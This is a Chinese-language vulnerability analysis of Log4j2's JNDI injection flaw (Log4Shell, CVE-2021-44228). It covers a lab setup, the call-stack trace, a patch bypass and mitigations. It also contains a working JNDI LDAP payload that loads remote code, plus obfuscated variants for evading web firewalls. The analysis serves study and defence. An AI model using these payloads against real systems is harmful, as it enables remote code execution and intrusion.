log4j2(CVE-2021-44228) 漏洞分析

前言

log4j2 jndi 注入被誉为2021年的核弹级别漏洞,而我当时在准备考研,错过了这次安全圈的狂欢,特此补上。

漏洞分析

影响版本

  • log4j 1.x
  • log4j 2.x< =2.15.0-rc1

环境搭建

环境使用 Hello-Java-Sec 搭建,不用 vulhub 是因为不想远程调试,习惯本地了()

log4j2 包含2个jjar包,log4j-core 和 log4j-api,log4j1只有一个包。

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.2</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.2</version>
</dependency>

漏洞代码如下

1
2
3
4
5
6
7
private static final Logger logger = LogManager.getLogger(Log4jVul.class);
@PostMapping(value = "/vul")
public String vul(@RequestParam("q") String q) {
System.out.println(q);
logger.error(q);
return "Log4j2 JNDI Injection";
}

漏洞原理

漏洞本质:直接阅读官方文档可以发现,log4j2的logger.error支持 log4j2的属性替换系统,其参数可以使用 ${...}并且支持指定前缀协议,用于寻找属性key对应的value,如下图所示。观察文档描述可以知道支持 jndi前缀,而我们知道多恐怖如果 jndi 的lookup地址是可控的,从而导致RCE。

漏洞利用:这里直接打的jndi ldap 协议反序列化,版本在 8u191 也是可以打的,理论上8u221不行(没有尝试)

1
?vul=${jndi:ldap://127.0.0.1:1389/Basic/Command/calc}

calc 命令执行成功。

调试分析:个人觉得相比 fastjson 和其他复杂的调用链,这个算简单的。source 就是logger.error()或者其他输出信息的函数,sink就是JndiManager#lookup。下面是函数调用栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
lookup:129, JndiManager (org.apache.logging.log4j.core.net)
lookup:54, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:183, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1054, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:976, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:872, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:427, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:127, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:333, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:232, PatternLayout (org.apache.logging.log4j.core.layout)
encode:217, PatternLayout (org.apache.logging.log4j.core.layout)
encode:57, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:177, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:170, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:161, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:448, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:433, LoggerConfig (org.apache.logging.log4j.core.config)
log:417, LoggerConfig (org.apache.logging.log4j.core.config)
log:403, LoggerConfig (org.apache.logging.log4j.core.config)
log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
logMessage:146, Logger (org.apache.logging.log4j.core)
logMessageSafely:2091, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:1988, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1960, AbstractLogger (org.apache.logging.log4j.spi)
error:723, AbstractLogger (org.apache.logging.log4j.spi)
vul:25, Log4jVul (com.best.hello.controller.ComponentsVul)

分析时发现一个有意思的点,为什么 logger.log()不行,logger.error / logger.fatal() 行? 实际上和开始的一个判断有关,它会比较 logger调用的函数的日志等级与系统默认日志的级别的值,只有 系统默认 >= 调用函数 才可以触发lookup。

只有if判断为 true 才会走到下面的逻辑里:

经过几个调用来到这里,这里系统默认是 200 ERROR,而我调用的函数也是 200 ERROR,所以返回true,进入后续逻辑

日志的等级划分,在 StandardLevel 里,可以看到 FATAL是100,所以 logger.fatal也是可以触发漏洞的 :

1
2
3
4
5
filter:429, Logger$PrivateConfig (org.apache.logging.log4j.core)
isEnabled:151, Logger (org.apache.logging.log4j.core)
logIfEnabled:1959, AbstractLogger (org.apache.logging.log4j.spi)
fatal:1030, AbstractLogger (org.apache.logging.log4j.spi)
vul:25, Log4jVul (com.best.hello.controller.ComponentsVul)

补丁与绕过:log4j2 发布了两个补丁,其中 2.15.0-rc1 是存在绕过的,不过比较鸡肋,需要配置文件可控;另外在host里引入了白名单校验,默认只支持本地IP。所谓的绕过是指配置文件白名单设置允许jndi到指定地址的情况,因为rc1的版本在catch后没有return,会执行到lookup,如下图所示。

对于IP白名单,可能的bypass思路可以参考 SSRF,使用主机名@或者#做截断进行绕过,但是应该不太行。

绕waf

  1. 递归解析绕过:log4j2 支持表达式递归解析,下面的表达式会逐层解析,由于 :-是键值对的分隔符,而表达式只管取值,从而使得 {::-j} -> j,类似的可以混淆其他字符。

    1
    2
    loggr.info("${${::-j}ndi:ldap://127.0.0.1:1389/Calc}");
    logger.info("${${,:-j}ndi:ldap://127.0.0.1:3890/Calc}")
  2. lowwer / upper 绕过:使用 log4j2 支持的关键字,实现大小写绕过

    1
    logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");

防御思路

  1. 更新依赖包版本到最新版
  2. 提高 rasp 覆盖率,rasp 能够有效防止类似漏洞
  3. 临时方案:
    • jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(版本>=2.10.0有效)
    • 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0有效)
    • log4j2 < 2.10以下的版本移除JndiLookup类
    • 禁止非业务的外网访问(只能收敛风险,不能根治)

总结

log4j2 这个漏洞的原理、利用都很简单,但是挖掘却是一件难事。我的第一个问题是阿里云在2021年是怎么发现的?人工审计还是借助工具?为什么会想到这个大众化的依赖?真的是非常的奇妙,思路很独特。

第二个是对于这种“核弹级别”的漏洞,对应的应急部门、安全运营部门该怎么做漏洞止血与修复?我想应该至少出两套方案,首先是采用临时方案降低核心业务被攻击的风险,解决增量的漏洞风险;其次是替换依赖包、插入rasp等耗费资源但是有效的通用方案,解决存量的安全风险。最后是对于研发部门的同学,应该把新漏洞的检测写入规则中,嵌入 SDLC 流程